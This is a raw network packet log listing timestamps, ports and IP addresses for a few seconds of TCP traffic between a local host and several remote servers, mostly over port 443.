Oct 30, 2024 18:06:52.361521959 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.361532927 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:52.361651897 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.361680031 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.361727953 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:52.495728016 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.495763063 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.495810986 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.495812893 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.495857000 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.496114969 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.496134996 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.496144056 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.496150017 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.499382973 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.499428034 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.499613047 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.499783993 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.499803066 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.538759947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:52.538827896 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:52.554558992 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:52.554634094 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.554770947 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:52.555095911 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:52.555115938 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.671097040 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.671822071 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.671850920 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.672497988 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.672504902 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.694382906 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.694869041 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.694894075 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.695327997 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.695333004 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.817612886 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.817681074 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.817745924 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.818016052 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.818034887 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.818048000 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.818053961 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.821801901 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.821846962 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.822006941 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.822205067 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.822217941 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.826769114 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.827467918 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.827538013 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.828247070 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.828265905 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.834737062 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.834758997 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.834798098 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.834846020 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.834997892 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.835014105 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.835026026 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.835031033 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.837868929 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.837905884 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.837968111 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.838083982 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.838095903 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.905873060 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.906176090 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.906194925 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.907692909 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.908409119 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.908462048 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.908780098 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.951329947 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.963548899 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.963634968 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.963695049 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.965929031 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.965975046 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.966006994 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.966022968 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.970375061 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.970401049 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.970460892 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.974005938 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.974014997 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.039604902 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.039670944 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.039736032 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.039745092 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.043493986 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.043591022 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.045593023 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.045605898 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.051100016 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.051131010 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.051233053 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.051510096 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.051522017 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.088242054 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.088815928 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.088840961 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.089484930 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.089493990 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.228171110 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.228254080 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.228342056 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.241100073 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.241100073 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.241152048 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.241194010 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.245417118 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.245471954 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.245557070 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.245816946 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.245831013 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.254050016 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.254813910 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.254848003 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.255309105 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.255323887 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.399609089 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.399681091 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.399753094 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.399992943 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.400016069 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.400027990 CET	49944	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.400032997 CET	443	49944	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.404531956 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.404572964 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.404692888 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.405330896 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.405347109 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.663157940 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.666971922 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.667020082 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.668193102 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.668852091 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.668942928 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.669090033 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.715337038 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.785841942 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.786596060 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.786612988 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.787684917 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.787694931 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.787918091 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.788341045 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.788372993 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.788809061 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.788820982 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.788980007 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.792066097 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.792079926 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.794850111 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.794899940 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.794905901 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.794908047 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.795049906 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.795073032 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.795097113 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.795130014 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.795181990 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.818177938 CET	49949	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:53.818219900 CET	443	49949	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:53.904998064 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:53.906723976 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:53.906785011 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:53.907795906 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:53.907795906 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:53.907819033 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:53.907851934 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:53.922460079 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.922528982 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.922949076 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.923094988 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.923115015 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.923146009 CET	49948	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.923151970 CET	443	49948	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.927244902 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.927265882 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.927284002 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.927309036 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.927335978 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.927383900 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.927469015 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.927550077 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.927566051 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.927591085 CET	49946	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.927596092 CET	443	49946	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.929791927 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.929796934 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.929805040 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.929841995 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.929866076 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.930064917 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.930064917 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.930083990 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.930095911 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.930207014 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.930394888 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.930394888 CET	49947	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.930412054 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.930421114 CET	443	49947	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.935347080 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.935362101 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:53.935441971 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.939349890 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:53.939359903 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.023016930 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.024117947 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.024117947 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.024158001 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.024174929 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.161592960 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.163048983 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.163568974 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.169812918 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.169841051 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.169872999 CET	49950	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.169878960 CET	443	49950	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.180259943 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.180357933 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.180516005 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.182698011 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.182749987 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.506557941 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.506582975 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.506637096 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.506686926 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.506758928 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.506798983 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.507606983 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.507607937 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.507667065 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.507878065 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.507909060 CET	443	49945	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.507965088 CET	49945	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.638871908 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.638920069 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.639105082 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.639406919 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:54.639420033 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:54.641292095 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.641813993 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.641832113 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.642435074 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.642457008 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.686882019 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.687468052 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.687494993 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.688005924 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.688009977 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.689765930 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.690174103 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.690181971 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.690680027 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.690684080 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.696475029 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.696907043 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.696943045 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.697379112 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.697390079 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.789020061 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.789195061 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.789252996 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.789319038 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.789580107 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.789602995 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.789618015 CET	49951	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.789625883 CET	443	49951	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.792712927 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.792823076 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.793165922 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.794254065 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.794295073 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.827095032 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.827439070 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.827495098 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.827591896 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.827816010 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.827872038 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.835453033 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.835530043 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.835583925 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.840751886 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.840774059 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.840801001 CET	49952	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.840806007 CET	443	49952	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.842386007 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.842390060 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.842400074 CET	49954	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.842403889 CET	443	49954	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.843440056 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.843470097 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.843485117 CET	49953	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.843491077 CET	443	49953	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.848282099 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.848335028 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.848408937 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.850267887 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.850334883 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.850472927 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.851434946 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.851466894 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.851578951 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.851852894 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.851871967 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.854088068 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.854120970 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.854341984 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.854357958 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.949976921 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.951237917 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.951267004 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:54.951808929 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:54.951821089 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.089215040 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.089246035 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.089294910 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.089323044 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.089349031 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.089793921 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.089812994 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.089823008 CET	49955	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.089828968 CET	443	49955	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.095272064 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.095310926 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.095381021 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.096755028 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.096775055 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.116451979 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:55.546233892 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.546947002 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.547054052 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.547589064 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.547606945 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.599412918 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.600047112 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.600091934 CET	443	49959	13.107.253.45	192.168.2.5
